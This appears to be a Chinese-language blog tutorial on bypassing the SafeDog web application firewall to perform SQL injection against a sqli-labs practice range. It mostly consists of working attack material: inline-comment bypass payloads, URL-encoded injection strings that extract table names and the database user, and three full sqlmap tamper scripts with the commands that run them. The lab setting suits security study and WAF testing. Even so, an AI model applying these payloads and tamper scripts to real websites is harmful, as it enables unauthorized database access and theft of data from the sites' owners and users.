sql注入绕waf
一、搭建安全狗
参考文章
https://www.cnblogs.com/zhaoyunxiang/archive/2021/09/27/15342257.html
搭建之后,通过sqli靶场来测试安全狗是否开启防护


二、内联注释
1. 普通注释

2. 内联注释
当使用形如
/*!5个数字+xxxxxx*/
如果当前版本号大于该5个数字 则自动去掉
/*!5个数字*/


如果当前版本号小于该5个数字,就会报语法错误

三、fuzz模糊测试
1. order by
当我们想sql注入的时候,第一步就是猜列
但是在这里,使用order by 被拦截了

(1) 先分析拦截规则
直接测试order by 被拦截

去掉中间的空格,发现不拦截

那么我们大致可以看出,拦截规则是order by中间不能有空格,那我们可以用注释代替空格,发现也被拦截
(2) burp爆破
利用burp的intruder模块来进行暴力破解
将注释里面的字符进行暴力破解


就是想利用这些在注释里面的特殊符号,来代替空格



可以看到没有被拦截

order by 4的时候报错,未知的第4列,证明列数是3列

2. 联合查询
union select 也是被拦截了

(1) 分析拦截规则
union select 被拦截

unionselect也被拦截
单独的union不被拦截

单独的select也不被拦截

单独的union和单独的select都不会被拦截,但是当两个组合的时候,会被拦截
(2) burp爆破
再次利用所讲过的爆破尝试


可以看到也是可以使用的

3. 查询数据库信息
select schema_name from information_schema.schemata
这里的分析拦截规则和上面的步骤一致,比上面的复杂点,但是利用爆破却没有出来
所以这里给出了个巧妙的方法
http://www.sqli.com/Less-1/?id=-1%27%20like%20%22[%23]%22%20/*!10440union%0aselect*/%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables%20*/where%20table_schema=%27security%27--+
SELECT * FROM users WHERE id='-1' like "[#]" /*!10440union
select*/ 1,2,group_concat(table_name)from/*!-- /*
information_schema.tables */where table_schema='security'-- ' LIMIT 0,1

根据给出的方法,我们可以分析一下,它这个的原理是
在这里,mysql会认为第二个/* 和最后的*/闭合,是一个注释,但是--空格将这一行注释掉了
然后再加上内联注释的畸形漏洞,使得注释里面的sql语句被正常执行
/*!-- /*
information_schema.tables */
可以根据它原本的方法,自己尝试写一个查询语句,发现也是成功的
select * from mysql.user where host = 'localhost' /*! -- /*
and user = 'root' */

4. 总结内联注释
waf的绕过
(1) 当前版本号 大于 /*! 跟的5位数字时 此时认为/*! 是有效的
而当前版本号 小于 /*! 跟的5位数字 此时认为普通的注释
(2) /*!-- /*%0a 内容*/
通过-- 将/* 进行注释 参考查询数据库信息
(3) 特殊字符
/*xxxxxxx*/ 参考order by
四、sqlmap的tamper参数
我们在上面手动sql注入绕waf很慢
所以可以利用sqlmap工具去自动化获取数据
1. 先使用sqlmap注入
可以看到安全狗是开启的,输入sql注入的参数会被拦截

先测试一下开启waf的第一关,可以看到无法使用sqlmap注入,因为waf的一些拦截的规则
python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -p id -v 4

2. 介绍tamper脚本
sqlmap的参数中有一个 --tamper
它可以指定tamper目录下的脚本,可以看到自带的脚本很多


可以看几个脚本,观察一下规律



使用一个base64编码的脚本(base64encode.py)测试第一关
python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -p id -v 4 --tamper base64encode.py
可以看到虽然没有成功,但是这些payload都是以base64的编码进行测试的,那么我们的tamper的脚本,就可以以自己定义的方式去测试payload,我们可以自己写个脚本去使用sqlmap跑

3. sqli靶场的waf关
以sqli靶场自带waf的关卡来作为例子,这里选择28关
可以看到php写的正则替换的起始就是waf
并且可以看出它将哪些正则匹配到的字符替换为空
/* 替换为 空
- 替换为 空
# 替换为 空
空格+ 替换为 空
union空格select 替换为 空
可以看到注释全被过滤了
那么我们可以考虑闭合
1') union select 1,2,3 ('
select * from users where id = ('1') union select 1,2,3 ('') limit 0,1
但是 union select 也过滤了,那么我们可以考虑 union all select
这里的空格可以考虑全部替换为%0a


这里全部注释都去掉的话,不方便使用sqlmap
所以先把过滤# 的注释掉

4. 写tamper脚本
经过发现,这些脚本都是
先引入模块
再定义两个函数方法
def dependencies():
def tamper(payload, **kwargs):
几乎都是这种写法
然后我们的上面的order by 或者 union select 都会被过滤空格,那么我们可以找一些将空格替换成别的的脚本,然后在此基础上修改




这里找到一个space2comment.py脚本,是将空格转换为//
我们可以复制一份,改名为diy_space.py,然后修改里面的内容

先使用 ctrl + r 替换所有的 //,替换为%0a

然后就是 union select 的替换,union 可以替换为 union all

先将union替换为union all ,然后所有的空格替换为%0a
完整代码:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '%0a'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT%0aid%0aFROM%0ausers'
"""
retVal = payload
payload = payload.replace('union', 'union all')
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue
retVal += payload[i]
return retVal
5. 再次测试
使用sqlmap测试28关
这里要先关闭安全狗
我们的目的是,先通过自带的waf这种写出脚本,然后最后在写绕安全狗的脚本
python sqlmap.py -u http://www.sqli.com/Less-28/?id=1 -p id -v 4 --prefix="')" --technique U --tamper diy_space.py
python sqlmap.py -u http://www.sqli.com/Less-28/?id=1 -p id -v 4 --prefix="')" --technique U --tamper diy_space.py --dbs
可以看到使用写的脚本可以成功跑出结果,目的达成

6. 测试其它关卡
这里再测试一下27a关

同样先注释拦截#的

这一关可以看到没有过滤大小写
因此可以利用这一点写脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '%0a'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT%0aid%0aFROM%0ausers'
"""
retVal = payload
payload = payload.replace('UNION', 'UnIOn')
payload = payload.replace('SELECT', 'SeleCT')
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0a"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%0a"
continue
retVal += payload[i]
return retVal
在之前的基础上修改下即可

可以看到也可以注入成功
python sqlmap.py -u http://www.sqli.com/Less-27a/?id=1 -p id -v 4 --technique U --tamper diy_space.py
python sqlmap.py -u http://www.sqli.com/Less-27a/?id=1 -p id -v 4 --technique U --tamper diy_space.py --dbs

7. 绕过安全狗脚本
经过两关的测试我们已经知道如何利用tamper模块写脚本测试sqlmap注入了,那么就开始写绕过安全狗的脚本
我们先想一下,安全狗的拦截规则
空格问题可以用%0a替换
from information_schema 可以使用/*-- /*%0a content*/ 来替换
然后需要考虑重要的几个步骤,统计这些问题,来构造脚本
1. order by 猜列
2. union select 联合查询
3. from information_schema 查询数据库信息
这里在测试过程中,需要注意,sqlmap默认是使用的大写,因此替换的时候需要替换大写
完整代码:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '%0a'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT%0aid%0aFROM%0ausers'
"""
retVal = payload
payload = payload.replace('()', '/*!-- /*%0a()*/')
payload = payload.replace('ORDER BY', '/*!-- /*%0aorder%0aby*/')
payload = payload.replace('UNION ALL SELECT', '/*!-- /*%0aUNION%0aALL%0aSELECT*/')
payload = payload.replace('UNION SELECT', '/*!-- /*%0aUNION%0aSELECT*/')
paylaod = payload.replace('FROM INFORMATION_SCHEMA', '/*!-- /*%0aFROM%0aINFORMATION_SCHEMA*/')
return paylaod

这里注意测试会在最后一步失败,在测试是否是哪个数据库的时候,直接无法使用 --dbs获得数据,但是会显示可以使用联合查询注入
并且这里user-agent是使用的sqlmap工具,会被拦截

因此需要使用 -r 参数 ,将第一关的请求包存放在txt文件中
这里的user-agent就显示的是浏览器信息

先测试一下,可以看到可以使用联合查询注入,但是–dbs无法获取数据
python sqlmap.py -r url.txt -p id -v 4 --technique U --tamper diy_space.py

这里有些人测试不成功,我们可以换第二关测试
less-1改成less-2即可

显示这句话就是可以被注入

在给出的联合查询注入下面,会有很多测试数据库的请求包
由于我们的–dbs没法获取数据
因此我们可以用测试mysql这里的payload来实验


这里我使用的test mysql的这个

http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x717a706b71%2C%28CASE%20WHEN%20%28QUARTER%28NULL%29%20IS%20NULL%29%20THEN%201%20ELSE%200%20END%29%2C0x71786a6271%29%2CNULL--%20-
结果显示 qzpkq1qxjbq

我们将得到的payload进行url解码
发现它使用的是concat连接的

我们修改一下,让它中间连接user()
这里要使用/*!-- /*%0a content */
http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x717a706b71%2C%28/*!--%20/*%0auser()*/%29%2C0x71786a6271%29%2CNULL--%20-

可以看到user()被爆出来了,左右两边连接的是0x那两个16进制

如果想更清楚的看,可以改成~ 对应的16进制 0x7e
http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x7e%2C%28/*!--%20/*%0auser()*/%29%2C0x7e%29%2CNULL--%20-

453

被折叠的 条评论
为什么被折叠?



